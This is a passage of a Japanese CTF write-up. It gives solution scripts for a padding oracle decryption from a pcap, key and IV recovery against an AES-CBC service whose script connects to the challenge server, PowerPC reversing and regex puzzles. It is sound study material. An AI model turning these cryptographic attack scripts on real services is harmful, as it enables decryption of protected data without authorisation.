for d in s:
	if 'CONST' in d:
		x = d.split()[3][1:-1]
		if x == 'None':
			break
		sta.append(chr(int(x)))
	elif 'ROT' in d:
		x = sta.pop()
		y = sta.pop()
		sta.append(x)
		sta.append(y)
	elif 'ADD' in d:
		x = sta.pop()
		y = sta.pop()
		sta.append(x+y)

print sta
print sta[0][::-1]

#Call me a Python virtual machine! I can interpret Python bytecodes!!!

"""
password: Call me a Python virtual machine! I can interpret Python bytecodes!!!
hitcon{Now you can compile and run Python bytecode in your brain!}
"""

(どうやら、767のPOP_JUMP_IF_FALSEをnopにして実行するという手もあったらしい)

Hackpad

でかい.pcapファイルが渡される。中を見るとhttp500の中にちょこっとhttp200が紛れている、という感じ。

これ(【CODEGATE2011 - Quals】 Crypto400 - 人素（とーしろー）の物思い)の存在を思い出す。どうやら同じくpadding oracle attackのキャプチャが与えられるので、元の文字列を復号する問題。こないだやったなー、(csaw ctf 2016 quals のwriteup - 忖度のNeo)と思いつつやる。

当初scapyでやろうかとおもっていたのだが、データが膨大で無限に時間がかかっていたので適当に抽出もどきを書く。C++はpythonよりずっとはやい。

#include<cstdio>
#include<cstring>

using namespace std;
#define rep(i,n) for(int i=0;i<((int)(n));i++)

FILE* fp;
void uget(char* s){
	int ls = strlen(s);
	int i=0;
	for(;i<ls;){
		char c;
		fread(&c, sizeof(char),1,fp);
		if(s[i]==c)i++;
		else{
			if(c==s[0])i=1;
			else i=0;
		}
	}
}

int main(void){
	fp = fopen("hackpad.pcap","rb");
	rep(i,100000){
		uget("msg");
		char s[100];
		int de = 65;
		if(!fread(s, sizeof(char),de,fp)){
			break;
		}
		s[de]='\0';
		printf("%s\n",s);
	}
	return 0;
}

padding oracle attackなので、

...前略...
=67acd06f7f7b28762310ce1213fccb11997d9369c74c82abba4cc3b1bfc65f02
=000000000000000000000000000000ff6c957ff0feef61b161cfe3373c2d9b90
...後略...

こんな感じで、先頭文字が一気に000000になってるとこを探して、その直前のみを抽出する。

with open('extattack.txt','rb') as fp:
	s = fp.read()

ms = '=ff'
s = s.split('\n')
for d in s:
	d = d[d.find('='):]
	if len(d)<2 or d[1]==' ':
		continue
	if d[1:3]=='00':
		continue
	
	if int(ms[1:3],16) <= int(d[1:3],16):
		print ms
	ms = d

これによって、

=67acd06f7f7b28762310ce1213fccb11997d9369c74c82abba4cc3b1bfc65f02
=a90ca309b638f6d2c43bf3ceddb72c7e6c957ff0feef61b161cfe3373c2d9b90
=19a50e949a9e12ca51b680074d53abe15639aa3688659566d9acc93bb72080f7
=325ddb45f355f21ea0dfb10bce43b097e5ebd643808a0e50e1fc3d16246afcf6
=9089a03ce2f77b24d1995e6f5a1dcc9288dfedf02ad4ae84fd92c5c53bbd98f0
=f0aadd905ba0dafd83e5f5ba4d8de9c08b21d838a3261874c4ee3ce8fbcb9662
=f843b158c7596f16b58e449188fbeb178d5706499dd985ec0c13573eeee03766
=ee34773ee8e79f9475772441908b6f42f7010a867edfed92c33233b17a9730eb
=847a7ff24ead84a2b20247c45bee43924a82a6db51fa6124bfc48ef99d669e21
=6ae7c5eb319f1550c6baf9c9aa45a94c740d12656f597e691bbcbaa67abe1a09
=6e546c551c3b17097fc3cdc40bde6260f02afc37140b167533c7536ab2ecd4ed
=cc1a9a46767267074fb26e16c792a38937572fc9154d23aa7d8c92b84b774702
=4f674fb564345dce08e4f68836022461632ed2737a569e4dfbe01338fcbb2a77
=1259a7104a29e8298e9e23408ddd5f47ddd6990ce169bb4f48e1ca96d30eced2
=b9a9a97e9459db3e3c95bfe2e336bbba3b6fe5b875ca6481056848be0fbc26bc
=5b1e9bcc00be5db1611778cc7a8c55c3bffdfe966da4221103408f459ec1ef12
=c29d8ff214d65e643327f621e6f18b6ac72068bc1b96df045d3fa12cc2a9dcd1
=b2100dc26fe3bd783446df5bf2dabeb862ffdf876b3bc3a3ed2373559bcbe3f4
=029ba0f0094aa3db94504335f9b29e8d70a8c695bf54796bfe471cd34b463e98
=14d1a0e0814e6371e45d06c9515c248276212df912deef882b657954d7dada47

という、正式にdecodeできる(であろう)長さ2ブロック分の文字列が20個見つかる。

あと、ほかにパケットの先頭を漁ると、

3ed2e01c1d1248125c67ac637384a22d997d9369c74c82abba4cc3b1bfc65f026c957ff0feef61b161cfe3373c2d9b905639aa3688659566d9acc93bb72080f7e5ebd643808a0e50e1fc3d16246afcf688dfedf02ad4ae84fd92c5c53bbd98f08b21d838a3261874c4ee3ce8fbcb96628d5706499dd985ec0c13573eeee03766f7010a867edfed92c33233b17a9730eb4a82a6db51fa6124bfc48ef99d669e21740d12656f597e691bbcbaa67abe1a09f02afc37140b167533c7536ab2ecd4ed37572fc9154d23aa7d8c92b84b774702632ed2737a569e4dfbe01338fcbb2a77ddd6990ce169bb4f48e1ca96d30eced23b6fe5b875ca6481056848be0fbc26bcbffdfe966da4221103408f459ec1ef12c72068bc1b96df045d3fa12cc2a9dcd162ffdf876b3bc3a3ed2373559bcbe3f470a8c695bf54796bfe471cd34b463e9876212df912deef882b657954d7dada47

という、21ブロック(336byte)の文字列が見つかる。
これが攻撃対象の文字列と考えられるので、これを復号してやる。
やり方はNEOのときと同様に。

qs = "3ed2e01c1d1248125c67ac637384a22d997d9369c74c82abba4cc3b1bfc65f026c957ff0feef61b161cfe3373c2d9b905639aa3688659566d9acc93bb72080f7e5ebd643808a0e50e1fc3d16246afcf688dfedf02ad4ae84fd92c5c53bbd98f08b21d838a3261874c4ee3ce8fbcb96628d5706499dd985ec0c13573eeee03766f7010a867edfed92c33233b17a9730eb4a82a6db51fa6124bfc48ef99d669e21740d12656f597e691bbcbaa67abe1a09f02afc37140b167533c7536ab2ecd4ed37572fc9154d23aa7d8c92b84b774702632ed2737a569e4dfbe01338fcbb2a77ddd6990ce169bb4f48e1ca96d30eced23b6fe5b875ca6481056848be0fbc26bcbffdfe966da4221103408f459ec1ef12c72068bc1b96df045d3fa12cc2a9dcd162ffdf876b3bc3a3ed2373559bcbe3f470a8c695bf54796bfe471cd34b463e9876212df912deef882b657954d7dada47"

xs = """
=67acd06f7f7b28762310ce1213fccb11997d9369c74c82abba4cc3b1bfc65f02
=a90ca309b638f6d2c43bf3ceddb72c7e6c957ff0feef61b161cfe3373c2d9b90
=19a50e949a9e12ca51b680074d53abe15639aa3688659566d9acc93bb72080f7
=325ddb45f355f21ea0dfb10bce43b097e5ebd643808a0e50e1fc3d16246afcf6
=9089a03ce2f77b24d1995e6f5a1dcc9288dfedf02ad4ae84fd92c5c53bbd98f0
=f0aadd905ba0dafd83e5f5ba4d8de9c08b21d838a3261874c4ee3ce8fbcb9662
=f843b158c7596f16b58e449188fbeb178d5706499dd985ec0c13573eeee03766
=ee34773ee8e79f9475772441908b6f42f7010a867edfed92c33233b17a9730eb
=847a7ff24ead84a2b20247c45bee43924a82a6db51fa6124bfc48ef99d669e21
=6ae7c5eb319f1550c6baf9c9aa45a94c740d12656f597e691bbcbaa67abe1a09
=6e546c551c3b17097fc3cdc40bde6260f02afc37140b167533c7536ab2ecd4ed
=cc1a9a46767267074fb26e16c792a38937572fc9154d23aa7d8c92b84b774702
=4f674fb564345dce08e4f68836022461632ed2737a569e4dfbe01338fcbb2a77
=1259a7104a29e8298e9e23408ddd5f47ddd6990ce169bb4f48e1ca96d30eced2
=b9a9a97e9459db3e3c95bfe2e336bbba3b6fe5b875ca6481056848be0fbc26bc
=5b1e9bcc00be5db1611778cc7a8c55c3bffdfe966da4221103408f459ec1ef12
=c29d8ff214d65e643327f621e6f18b6ac72068bc1b96df045d3fa12cc2a9dcd1
=b2100dc26fe3bd783446df5bf2dabeb862ffdf876b3bc3a3ed2373559bcbe3f4
=029ba0f0094aa3db94504335f9b29e8d70a8c695bf54796bfe471cd34b463e98
=14d1a0e0814e6371e45d06c9515c248276212df912deef882b657954d7dada47
""".split()
xs = map(lambda d: d[1:],xs)

ts = ""

for s in xs:
	s = s[:32]
	ta = qs[:32]
	qs = qs[32:]
	be = ""
	for i in xrange(16):
		a = int(s[i*2:i*2+2],16)
		b = int(ta[i*2:i*2+2],16)
		be += chr(a^b^16)
	
	ts += be

print ts
"""
In cryptography, a padding oracle attack is an attack which is performed using the padding of a cryptographic message.
hitcon{H4cked by a de1ici0us pudding '3'}
In cryptography, variable-length plaintext messages often have to be padded (expanded) to be compatible with the underlying cryptographic primitive.
"""

Let's Decrypt

CBCモード理解してますか、という問題。

こっちから暗号化された値を送ると向こうでAES-CBCで復号してくれるサービスが与えられる。また、文字列 'The quick brown fox jumps over the lazy dog' を暗号化した値も返してくれる。鍵と初期化ベクトルとしてどちらもflagを使われているので、それを当ててください、という問題。

CBCについては、暗号利用モード - Wikipedia が分かりやすい。
CBCは16byteのブロックごとに処理しているので、まず、'The quick brown fox jumps over the lazy dog' にパディングを足して48byteにする。(各ブロックをC[0],C[1],C[2]とする) これを暗号化すると48byteの文字列が返ってくる。(各ブロックをD[0],D[1],D[2]とする)
ここで、初期化ベクトルをIVとすると、各ブロックに対して、

C[0] = dec(D[0]) ^ IV, C[1] = dec(D[1]) ^ D[0], C[2] = dec(D[2]) ^ D[1] 

の関係がある。
さて、たとえば復号文字列として、D[1]+D[0]+D[1]+D[2] を送ってみると、64byteの復号化された文字列が返ってくる。(A[0],A[1],A[2],A[3]とする)
このとき、

A[0] = dec(D[1]) ^ IV, A[1] = dec(D[0]) ^ D[1], A[2] = dec(D[1]) ^ D[0], A[3] = dec(D[2]) ^ D[1] = C[2]

となっている。C[2]は正しくパディングされているのでA[2]も正しくパディングされていて、向こうでdecrypt-errorになることはない。
さて、ここで式をよく見てみると、

IV = A[0] ^ dec(D[1]) = A[0] ^ C[1] ^ D[0] 

となっているが、A[0],C[1],D[1]は既知なのでこれらをXORすればフラグが得られる。

#coding: utf-8

import struct, socket, sys, telnetlib, os,time

	
def hex2s(s):
	ls = len(s)
	res = ""
	for i in xrange(ls/2):
		res += chr(int(s[i*2:i*2+2],16))
	return res


"""
The quick brown The quick brown 
fox jumps over the lazy dog

4a5b8d0034e5469c071b60000ca134d9
e04f07e4dcd6cf096b47ba48b357814e
4a89ef1cfad33e1dd28b892ba7233285

"""

a = '4a5b8d0034e5469c071b60000ca134d9'
b = 'e04f07e4dcd6cf096b47ba48b357814e'
c = '4a89ef1cfad33e1dd28b892ba7233285'


def getunt(c):
	global sock
	res = ""
	while res=='' or res[-len(c):]!=c:
		res += sock.recv(1)
	print res
	return res

def send(s):
	global sock
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock.connect(('52.69.125.71', 4443))

	getunt('decrypt\n')
	sock.send('2\n' + s + '\n')
	s = sock.recv(1024)
	s = hex2s(s)
	print s
	return s

ta = hex2s(a)
tb = hex2s(b)
tc = hex2s(c)

tx = send(b + a + b + c)

gx = tx[:16]
ty = 'fox jumps over t'

def zxor(p,q):
	res = ""
	for c,d in zip(p,q):
		res += chr(ord(c)^ord(d))
	return res

s = zxor(zxor(ty,gx),ta)

print s
|	
#hitcon{R4nd0m IV plz XD}

Sharingan

AIが天元に打ったあとマネ碁をしてくるので、相手より石を多くとれ、という問題。
ただし、相手の石が取られそうになると、自分の石が相手の石に置換されてしまう、という仕様。
ヒカルの碁、の3巻あたりにあったマネ碁破りの方法を利用する。

＋＋＋＋＋＋＋＋＋
＋＋＋○○○○＋＋
＋＋○●●●＊○＋
＋＋●○●●○＋＋
＋●＋○○○●＋＋
＋＋●●●●＋＋＋
＋＋＋＋＋＋＋＋＋

対称に打っていくと、上の盤面のようになる。
ここで白が＊に打つと、AIは取られると判断してそれを黒石に置換するが、それでも囲われているので取られる、という仕組み。

Flame

powerpcの64bitバイナリをreversingする問題。

powerpcバイナリを動かせるgdbとかのデバッガがあればあっという間に解決していた筈なのだが、それを入れるのに(僕とかyamaguchi氏とか)めちゃ苦労していて、ずっとほったらかしにされていた。yamacuchi氏からobjdump結果を貰ってそれをもとに解析した。

powerpc語になれていなかったのでわりと勘で補ったところがあるが、主要部分は

srand(7777);
unsigned int data[35] = {どうやら初期化されてるみたい};
for(int i=0;i<35;i++){
  data[i] ^= rand();
}
char s[36];
scanf("%s",s);
if(strlen(s)==35){
  for(int i=0;i<35;i++){
    if(s[i]!=data[i]){
      //たぶんWrongとか表示してexitするやつ
    }
  }
  //たぶんCongratsとかがこのへんで表示されそう
}

だいたいこんなかんじ。デバッガがあれば適当にメモリを覗くだけで済むのだがそうは問屋が卸さない。

まず、"qemu-ppc -d in_asm flame"で実行時のトレース結果が一緒に出るので、それを元にして解こうとしてみる。具体的には、先頭の一致文字数が長いほどトレース結果が増えるはずなので、まず先頭の1文字を全通り試して1文字目を確定させる->2文字目...みたいな感じでやっていこうかと思ったのだが、なぜかqemuの挙動がおかしくてうまいこと動かない(i=1のときにi<35がfalseと判定されているっぽい)。のでこの案は失敗。

さて、readelfの結果を参考にしつつ、ELF中の初期化データが置かれてそうなとこを探ってみる。と、

...前略...
0078970: 7420 796f 7572 2066 6c61 6720 3a29 0000  t your flag :)..
0078980: 596f 7572 2066 6c61 6720 6973 2069 6e63  Your flag is inc
0078990: 6f72 7265 6374 203a 2800 0000 0000 0cfe  orrect :(.......
00789a0: 0000 0859 0000 095d 0000 0871 0000 040d  ...Y...]...q....
00789b0: 0000 0006 0000 0ade 0000 0fa8 0000 0561  ...............a
00789c0: 0000 09da 0000 0878 0000 0682 0000 0fa9  .......x........
00789d0: 0000 0f5f 0000 025e 0000 0db0 0000 0fbf  ..._...^........
00789e0: 0000 0bc6 0000 0d38 0000 095d 0000 0d09  .......8...]....
00789f0: 0000 07ed 0000 0307 0000 01c0 0000 0399  ................
0078a00: 0000 0956 0000 0a45 0000 0292 0000 0c8a  ...V...E........
0078a10: 0000 092f 0000 004a 0000 0964 0000 0194  .../...J...d....
0078a20: 0000 09da 0000 011f 2e2e 2f63 7375 2f6c  ........../csu/l
0078a30: 6962 632d 7374 6172 742e 6300 5f5f 6568  ibc-start.c.__eh
0078a40: 6472 5f73 7461 7274 2e65 5f70 6865 6e74  dr_start.e_phent
0078a50: 7369 7a65 203d 3d20 7369 7a65 6f66 202a  size == sizeof *
0078a60: 474c 2864 6c5f 7068 6472 2900 4641 5441  GL(dl_phdr).FATA
0078a70: 4c3a 206b 6572 6e65 6c20 746f 6f20 6f6c  L: kernel too ol
...後略...

のようなものがある。0x789cから0x78a24に謎データが載っていて、これの長さがint配列で35なので、これで試しにデコードしてみる。と、フラッグが復元された。

x = """
00789a0: 0000 0cfe  orrect :(.......
00789a0: 0000 0859 0000 095d 0000 0871 0000 040d  ...Y...]...q....
00789b0: 0000 0006 0000 0ade 0000 0fa8 0000 0561  ...............a
00789c0: 0000 09da 0000 0878 0000 0682 0000 0fa9  .......x........
00789d0: 0000 0f5f 0000 025e 0000 0db0 0000 0fbf  ..._...^........
00789e0: 0000 0bc6 0000 0d38 0000 095d 0000 0d09  .......8...]....
00789f0: 0000 07ed 0000 0307 0000 01c0 0000 0399  ................
0078a00: 0000 0956 0000 0a45 0000 0292 0000 0c8a  ...V...E........
0078a10: 0000 092f 0000 004a 0000 0964 0000 0194  .../...J...d....
0078a20: 0000 09da 0000 011f
"""

y = """
205757590
998377520
1430092073
2047191058
1959523426
1763442792
1345239717
793358328
658433361
1016199565
1294268491
1322964720
2137247737
1405325116
642114049
1392987601
988381069
740379636
1285459211
1904974096
943865137
605738913
1559909246
926847391
1442292648
425531748
1307965978
1673880289
860617914
1317232
831869049
1066375504
999694753
114477475
966082914
"""

x = x.split('\n')
x = x[1:-1]
tx = []

td = []
for i,d in enumerate(x):
	d = d.split(' ')
	d = d[1:]
	p = 4
	if i==0:
		p = 1
	elif i == 9:
		p = 2
	for j in xrange(0,p):
		td.append(d[j*2+1])

y = y[1:-1]
y = y.split('\n')


s = ""
for p,q in zip(td,y):
	q = hex(int(q))
	p = int(p,16)
	q = int(q[2:],16)
	
	s += chr( (p ^ q) & 0xff)

print s

#hitcon{P0W3rPc_a223M8Ly_12_s0_345y}

I'm here

yamaguchiプロとcookiesプロのペアがやってた。解説は彼らに任せる。
僕も手元でいじったりしていて、pythonでサーバとの通信部を書いてそれを渡したりしていたのだが、自分が出力部を適当に書いていたせいで、なぜかコアダンプが途切れてしまってflagが得られない、みたいなバグを生み出してしまっていた。申し訳ねえ。(自戒の意味をこめてメモしておく)

angry boy

申し訳ねえシリーズ第二弾。自分の書いたスクリプトをhakatashi氏に並列化とかいじってもらったりしていたのだが、書き方がひどかった(自分の書くコードはたいてい目が腐るといわれてしまう)ためにいろいろと面倒くさいことになってしまった模様。

RegExpert

moRE

今回のesolang部門。与えられた要件を満たす正規表現を作って送りつける問題。人々の間でonigurumaとか田中哲スペシャルとかの用語が通じるようになっていたのは面白かった。

正規表現超絶技巧プログラミング力を高めた

— じんの (@moratorium08) 2016年10月10日

「正規表現」に無限のパワーを与える"田中哲スペシャル" - Atzy->getLog() とか、回文や XML にマッチする鬼車の正規表現 - まめめも とかを参考にした。Rubular: a Ruby regular expression editor and tester ここがテストとしてよいそう。

自分の関わった部分についてだけ。

^(?<p>(a\g<p>b|ab))$

a^nb^nにマッチする正規表現。(反復補題とはなんだったのか...)
\gを使えば再帰ができるので実質文脈自由文法と同じ能力になる。
あと、これを12文字以下にする必要があったが、そのへんはmoratorium氏にまかせた。

^(0|[1-9]\d*0000|(4|8|(([1-9]\d*|)([13579][26]|[2468][048])|[1-9]\d*0[48]))(00|))$

うるう年のみにマッチする正規表現。つまり x%4==0 && (x%100!=0 || x%400==0) ですね。
x%4==0 || x%400==0をまとめることができるので縮まる。

^(?!(xx+)\1+$)xx+$

xが素数個ならんだ文字列(xx|xxx|xxxxx|.....) に対応する正規表現。
文脈自由でさえないので、どないすればええねんという感じだったが、ぐぐるとこれ (java - How to determine if a number is a prime with regex? - Stack Overflow)
が出てくる。?!内の(xx+)\1+が合成数にマッチするので、これを用いれば動く。

^(?=[01]*,[01]*$)(?=((?<u>(.,.|.\g<u>.)))$)(?<w>(|(?<s>(0|1))\g<w>)),(?<t>(|(?!\k<s+0>).\g<t>))$

001,110とか、010100,101011とか、前半と後半がビット反転の関係にあるもののみにだけマッチするやつ。
本質は

^(?<w>(|(?<s>(0|1))\g<w>)),(?<t>(|(?!\k<s+0>).\g<t>))$

の部分で、左側にある?<s>でキャプチャされた部分と同じ再帰の深さにあるとこで、右で\k<s+0>がキャプチャされる、みたいな？(自分でも原理はよく分かっていなくて、適当に動かしていたらうまく動いた、という感じ)これだけだとコンマの左右での文字列長が違っていてもマッチしてしまっていたので、前半をとりあえず書いてみたが、これでは長いと言われてしまい、あとはmoratorium氏のショートコーディング力におねがいした。

moREは、4問解いて終いかと思ったら、flagがregexp形式で出力されてきて焦る。残り20分強くらあったが似非solverを書ききれなかった...(終了30分後くらいにフラグが得られた)

bef = r"""
^([[dKSbqJWjnuhQ}iyfspkUPY HBFxtRE{GCLOXwoNcv]&&[^dqEpDvkz\-}BPoIrXFW ]&&[^Oo zE}PvdBl\-:DkcUXifjnLMueryg]&&[^EmlpD}TYbiaNonudjHAwzCUcQkxf{vSWFrXgIOBV]&&[f:VLxUeGFYMEoaWyPchBbvA]&&[^XsZjFxQ:wAgqiE{er\-fODTd]&&[^EtZlYUze\-G{JgyVcfknDSXCRo:jx]])([[srkgOMniDpXEujfdVwBYUKJmWAQ{Sqh\-oRa b]&&[IVyWRAJBxiGkDoefLQt]&&[^Y:PsuMK br{mjZkgG]&&[^KVcqnRYdojLQXsrBlzeyDI gbStGZ]&&[ ZEMnjAbkH{iQKmzgDtTsFpxXI:uCvfUVdqSlBwYP]&&[^qsbGCEn:NFDhyU{]&&[^}\-zWEAOTJSMrIaPHChvN{Y]&&[tvYkLJrTiAxeVnHmjQ I{FpRqESyzONlKCWg\-cX]])([[^Ssk}\-mqKUOARXIuZLgDpHeM]&&[OFxcVeqJHbtYvmuza]&&[jKHYwgPpsntbkCdl\-UxBTZFaVGzSOrvem]&&[^gKyqRLDMcA kWmlHEJGPXSdxeZ\-F:sobz}rC]&&[pRwAFqeKc{jnzU ClmNOhiYWPxytVbufX:GTg]&&[^zmUMVNk}SWCiDGLFTP:Xsea\-]&&[\-QVjC:woRJtFAvkIbEKGYi{DLaxf]&&[PVcx wFZNuklmqbzshpedGf}tWSaTXo\-OiL]])([[^xNFB:TzpysbwA ]&&[^wyNXgCKLTMIbAtRU]&&[^eGIdM SroOjLpDVNatWA\-JKqCwU]&&[xUEnXRGLmCHkdTMuBZeSqc}yh:IpwlQA]&&[TC\-pUB{xIlH:sPaKvkoDQeAXiMWnJNGVrLy hFR}cS]&&[BFVabZicAu sEqmLxdTP]])([[td\-{kaP iEFWqCZlOomnSVeG}]&&[mAzYtkBZjEH oWligRncIhNs}]&&[vYeb\-VAg:oQSRwjMkd]&&[IPgS}kr DiazyxudVHneNsEcmoQRBtbMGKhWq]&&[QNkdSTWKF vBoqPXJrItayA]&&[aPL{AQ:RJ\-fFrETKel}unxpYBmVq vwoSOdUIbCjtH]])([[^Xm fQlHLDeGJtwqgCTxAB]&&[^Odhsi{lPbyotmRFkzHcAf XEIuGVKYaeUWJwgjZpM]&&[^FgG}sPyXEdTwWxvcrCUjN:\-M]&&[^abJd\-IFyWeEixGM{V:ATrOqLposcvNU ]&&[ukRGnoW VBK}yq]])([[nzK{aRQwqYIsZvuMxyO:GUFWb\-lrSc]&&[DULOQ{IxBgRAhymMJe]&&[^tuEybwanKZhJOVlUQ\-ioRM XfvqP:NrdcIDzAxeH]])([[PujVDm:fOxEygG{sIbJkRnrC\-}HSaUlXdMBZLYio]&&[^MiWlhQtrfDodTHGS]&&[RzwgjWbda}SDUcXHfBAos{mI\-lQOtYJ]&&[^vZQBsXYo{VxjCpFyD]&&[\-emjNSv:LPkVta}IoTzdYGKCDq{fQnJhRybUZAOF]&&[iHPGNJkaScdY:BtIRVmXOw}M]&&[Z RkohALFygUut}NYdmGQprEeIWwxqs]&&[nDUCkRQLlqTPHstyhxoA\-Guap]])([[^T\-DkmjSx{zGO CLB:FZEiIVKUfqH]&&[JbR qf:ey{jQOrVBM]&&[BHQcfZr:iyovVLPJRptgM}FGX{neSulwT]&&[^Pag}fD:vu LHdRoYshziXTQFmpZCtlwG]&&[vL fI{iYMHbj:NVDck\-ZeRUQ}PqBTpAuhFCGKJsO]&&[^SpOVGYWwKZHsravMnIkDci:uogPjAXxBCUfbqRQEy]&&[^VIEGU:jvyhQw{xsioSgWTdPDcZrJRB\-HLKOA}lmzM]])([[YOepxMTni{sFR UdlkhtJrKo:ZDHXEzASgGVf]&&[zXJlpWqfhswme{vUVd\-ZL}KQoItyYSbaR:OGE]&&[^EpAWqdDONwLTtCkm ZMsy]&&[^kpd\-nASNDaLvWhmMyEeYJoHjGOTziX{IF l]&&[^bse{rtKxY\-kyOd]&&[^QKMdVsRvaq}AyCHneglrXDTcSo{UIbZFNOj]&&[ivfpnNSbIROhCj\-MDuwygazmqxoPL:KGAc]&&[GnCOM}DsfxoBSUzHItXFQiPEpVbdkq:hRcTJLeg]&&[^hDtfnY\-KZgRLSFz]])([[JYOmFnZCMyLoQGNXz}kUgDdW A{wscevhbIRqSE]&&[^aJdQXmlVHroTfw]&&[^vzeKuJiFGST\-cDm jVqCdNy:]&&[^kDLtoJsfixvMXpVE SBRd\-AU:lQuqP}cYn]&&[^jeAMXfFpBlYO dWgShJRqv}TUNCbkzP]&&[qwGYZmefjtJNbL:gyuiKPsMn}BprTDIkRFocvx]&&[^tMI:U}uzkK\-Ogad]])\9([[^tAjm\-WcNe{STqiwlEfPhQ}:nXoCkxFu]&&[gmvMKIUSAFXxaEd{\-N bwo:RGCkeyVQrPOqlcD}u]&&[gJx u:YONUlbM{CKrocsk]&&[gJHCARb\-Z WnfTGzjp:MhYaFseVwSrli]&&[^}GUxR{yKl\-AfMXiFOYNHkw]&&[^xAUOIVozPv\-gQJsjLSe]&&[^U}QipGex{quvHDZ JA]&&[^YRFsayHbzjQ:CL\-tDxlpN]])\5([[S\-kYJaogmdW{cVK}AFCsnf Irqile:X]&&[fBQFUpGkInrVHS{JCujcwM ZiL}\-RWvdy]&&[u\-PnYjdrtB colfQHOIDKSbZUiJ{]&&[^E}uHVzplmiIvaFCZksy:AnWMeo]&&[^gmu}\-eJXlTqIZL]&&[zKVJgdFDEvcLksjYBHmGRWTiPlwMOSXC :bt}Z]&&[URKEWj\-qx{ekAglQ:DozcaMtHsB hPFCYZu]&&[^ARlmN}TuUZ{fFhsX:iJ]&&[^LVdTwsPjaRQGpJYcXeMHuxEBZ{q\-kKlFWmtg]])([[^TeW{vc}rJCqVgyHOPZpwM]&&[^xnevtzrilpJXHISOTdGCumAwqEsU]&&[hTFAEIaNMuyXHe:QiSr\-fLm}vbYUD{RkJBgKq x]&&[XCLNRxtPivVnhBKu\-olwpYsEWzkUMqaeGT{]&&[kCVXKEPwQWDh{qYmBOgZUlIaRHN:jJv\-bTxMncs ]&&[^dQqWLhNBmjCtoOYyGTSMFzVRli}rvHgkA ]&&[^{dUaK}t:gLFlfVEeTvmCNIxqZYijnJokspWcAHbSX]])([[^wEaDvpNlILVQAXGu]&&[^rDnApNtPmeVUuLoJQ}FRBKwqy O]&&[^\-eE:YlaJk}yRoLWugzdVZPT MDvrqHUGn]&&[^n}zejcgb{Gsfk\-J NaiolwEYWDHdLTM:VmyXAvpQq]&&[nckSa}mzWJU:BxPwltY{TVMsvXpoGeiOI]&&[akS\-Iy}mvL{lWU:GNDHQKYATCsErdgpzOM wX]])\3([[^}KWdlCNqGHBjJhsDIMrAEp]&&[^mFnOYG iXrjVdT]&&[^E B\-AzxKQX{SyvJb:gIRqkdUhtNG]&&[u{noSO}Kg\-WDYp:javyV]&&[^eHBZVpkxUFCw:f]&&[ WPRGxOuBimLkYc:wsadqf}lyJzvDUnNAQKbVIj\-e]&&[JNwKD{aUoie qEyWrpPkZBFTh]])\12\3\2\6([[aHcCmUkIfQtVgEGl hxYXFiuKeSLZ]&&[xefFIqAgSaYMuGs]&&[^uGLnsoDclFqhIQbfvOWix{ezHJV aZ:ytUpmYTw]&&[ITtQmBnJSUgNDV}hAWXGMsureERFL]&&[^ldLBEXwC{tP H:zyIKODU]&&[^OEVYTbFq hHed\-KcXw]&&[^SxtJGvPc\-XDFKRsYZanur]])\13([[wLPkKCduRy\-aMOlmbiFEZWXvIGJjoDct]&&[EDrC}I{xBT\-hcabNusAPFneqJOX:ki j]&&[xiFIYQMDLGHlmV{a\-XyZP]&&[^uG s}XCzqnTKBvH]&&[nzLdajUB{CmwySsAROk\-QKFPMxftv}olDi]&&[^DjqEMzyRhuSZJxbWQsLvONUCG Vfk:KmdYaw\-TnitH]&&[Qd{PUywXOpxzurml]])\12\5\17\12\16([[PBr{mqMZFhUazHpOxKSfondtV}TkICRbLGg:yD]&&[joDyrlszYQNUcSfhmVnPuEHb]&&[A:DBcWzNsnmX JCLTaxOVSH}fYZqro]&&[x:nR{DMCNGKlAqSvemziYufHFw dc}ZsLkQbWryh]&&[WrHQ\-EezlgLwNPT}pUCFicMoa:jtDfmXbyRB]&&[rsIwzLy{HVCKtkAndxOlRF TXmNZQafjBUPGJ:pMc}]&&[^CUtQDsIjhNF \-nlpiAVHuBRYEoKXdwS{yLaGf]&&[kYphKuSL}emn{wxOVTrCNJHoIfUavXAD]&&[{oIxVNXZHiM\-AwcjsdCOtmFzB]])\19\2\6\17\13\2\6\13([[LC Awgo:OBe\-hNTtuKaSbqzlcG]&&[^FxTbDHLga}UWjyOtXh\-RqeMzdflPVJnImBYkCiN]&&[mkOlsoBhb:{TiuNPeHqLnY}MgZ\-UfAvQz]&&[^r\-dOsbDVPcyiSwUXRh FoCLWIvQuza]&&[^bVJUOwlNjPdzBCeZa{GkHEgWchr]&&[REg{W oUv:VnmwAXa]&&[^rnqgfEcmetLih}JKUbTZW ON]&&[^NxDRsYGZyjatCoqXPWr]&&[^WkXcKVYSjTf{ydnupPUbwqtMGJhONQRv}DHg:ei L]])\6\5\3\1\9\12\13([[Ay MDBhsCnWTGfrcoqF}N\-ZUQixmRkzbpYud]&&[^GENTDZQe\-PnVxIdJAMBjOcCz:Xp FyHbgRraf]&&[znksUoR:JjEDBpSNChQWZ f}OYiwugXA\-y]&&[^YQZPzcVluyn}qe:SDBbtIUNd iO{r]&&[^UEGPoLdriVzNglYmyObTnv :]&&[^UYdtg{PbaZHOjlFi:rQycEIvVBx\-sADCLS}R]&&[^hON{U\-lbyEJASYLoGD]&&[osuJSiHrN{htdUDGaZWPImM:FBQ bYOA]])\5\12([[^EVFSeGNrbDCaM{KmLh\- YHdopOsInfXW}]&&[^XGSh}Ha:eADCPpcEZrjidzOMBUImwQWon sL]&&[v{dOApXUfG}haeqS\-DJyW:KHNoTzElkgYiImVFBucC]&&[^MmPebn:Q KhsDz]&&[^Kuog {OPQXivtTWzhDC}GSfcM\-k:wLAY]&&[FQiLqbSJwesUhf DuARlZdaIGg]&&[^FOLsfqRUIcCV{jJYmodivN}xAHPpy]])([[^CX:OBWnHboDhzi}F]&&[nrpgbcqI lTCQAowdZfmEGKyij:tPHhDU]&&[^sgLvMFGSR{quCTpBQKcProyA]&&[^mF:ZAoskhfgKwH]&&[MqiJYyR:SWDQpd v}rKwsmEcXHTzZtgakf{Gju]&&[^Ko\-psGakrVg:nYAiuFSxEXwbmehOM qNHURT]&&[cRydhm{iQDKaTvFeIAnBqWlwLt:GOs]&&[^lpgFNLIDZJKuzXT:Pf]&&[TzUePJX{\-ausnEicyWwdA}rIVRgMHNLQ:kKbDxSh]])\14([[^eSwrLVByhniCQvDsAcIlxfmNUWuMzToHKpGd]&&[}vNOcwzmipquLHtJah:rTfyZXl 